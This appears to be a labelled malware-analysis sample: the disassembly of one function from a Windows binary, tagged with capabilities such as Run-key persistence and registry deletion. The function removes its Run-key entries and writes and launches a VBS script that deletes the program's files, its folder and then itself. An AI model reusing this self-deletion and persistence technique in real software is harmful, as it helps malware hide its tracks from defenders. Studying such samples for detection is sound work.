Function at 0x40ada8
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
push ebx
push esi
push edi
call fcn.00410199
cmp byte [0x46c9c4], 0x30
je 0x40adc7
call fcn.00409da8
xor ebx, ebx
inc ebx
cmp byte [0x46dd5f], bl
jne 0x40add7
call fcn.00415d62
cmp byte [0x46da75], 0
je 0x40adf1
mov ecx, 0x46e0d4
call fcn.00401edd
mov ecx, eax
call fcn.00418144
mov esi, 0x46e578
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x46daf6], bl
jne 0x40ae18
mov ecx, esi
call fcn.00401edd
push eax
mov edx, edi
mov ecx, connect
call fcn.00410d8b
pop ecx
cmp byte [0x46daef], bl
jne 0x40ae35
mov ecx, esi
call fcn.00401edd
push eax
mov edx, edi
mov ecx, connect
call fcn.00410d8b
pop ecx
cmp byte [0x46daf4], bl
jne 0x40ae55
mov ecx, esi
call fcn.00401edd
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, connect
call fcn.00410d8b
pop ecx
mov ebx, 0x208
lea eax, [ebp - 0x298]
push ebx
xor edi, edi
push edi
push eax
call fcn.00432d80
add esp, 0xc
mov esi, 0x46e5f0
mov ecx, esi
call fcn.0040247b
push eax
mov ecx, esi
call fcn.00401f87
push eax
push ebx
lea eax, [ebp - 0x298]
mov esi, 0x46e5a8
push eax
push str.thsjkgc
mov ecx, esi
call fcn.00401f87
mov edx, eax
call fcn.00410a5f
add esp, 0x14
test al, al
jne 0x40aeb8
push ebx
lea eax, [ebp - 0x298]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
call fcn.00401f87
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebx, 0x46e5c0
mov edx, 0x46079c
mov ecx, ebx
call fcn.00407647
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test al, al
je 0x40aef5
push 0x80
mov ecx, ebx
call fcn.00401edd
push eax
call esi
push 0x80
lea eax, [ebp - 0x298]
push eax
call esi
mov ebx, eax
lea ecx, [ebp - 0x18]
neg ebx
push str..vbs
sbb bl, bl
call fcn.00417a83
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00417cca
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403098
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401ee2
lea ecx, [ebp - 0x18]
call fcn.00401fb9
lea eax, [ebp - 0x90]
push eax
push 0x4609b8
push 0x461088
call fcn.00437aef
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.0040440a
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00401ee2
lea ecx, [ebp - 0x48]
call fcn.00401ee2
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x18]
call fcn.00404260
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x30]
call fcn.004043e6
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00401ee2
and bl, 1
je 0x40affc
push 0x461250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x60]
call fcn.00404260
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x48]
call fcn.004043e6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403303
lea ecx, [ebp - 0x18]
call fcn.00401ee2
lea ecx, [ebp - 0x48]
call fcn.00401ee2
lea ecx, [ebp - 0x60]
call fcn.00401ee2
push 0x461288
lea eax, [ebp - 0x298]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x48]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403303
lea ecx, [ebp - 0x60]
call fcn.00401ee2
lea ecx, [ebp - 0x18]
call fcn.00401ee2
lea ecx, [ebp - 0x48]
call fcn.00401ee2
test bl, bl
je 0x40b05d
push str.wend_n
lea ecx, [ebp - 0x30]
call fcn.0040778c
mov ebx, 0x46079c
mov esi, 0x46e5c0
mov edx, ebx
mov ecx, esi
call fcn.00407647
test al, al
je 0x40b0ac
push 0x461288
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x18]
call fcn.00409e9e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403303
lea ecx, [ebp - 0x60]
call fcn.00401ee2
lea ecx, [ebp - 0x18]
call fcn.00401ee2
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x30]
call fcn.0040778c
push edi
lea ecx, [ebp - 0x78]
call fcn.00401edd
push eax
lea ecx, [ebp - 0x30]
call fcn.0040247b
mov esi, eax
lea ecx, [ebp - 0x30]
add esi, esi
call fcn.00401edd
mov edx, esi
mov ecx, eax
call fcn.00418337
pop ecx
pop ecx
test al, al
je 0x40b0fe
push edi
push ebx
push ebx
lea ecx, [ebp - 0x78]
call fcn.00401edd
push eax
push 0x46075c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]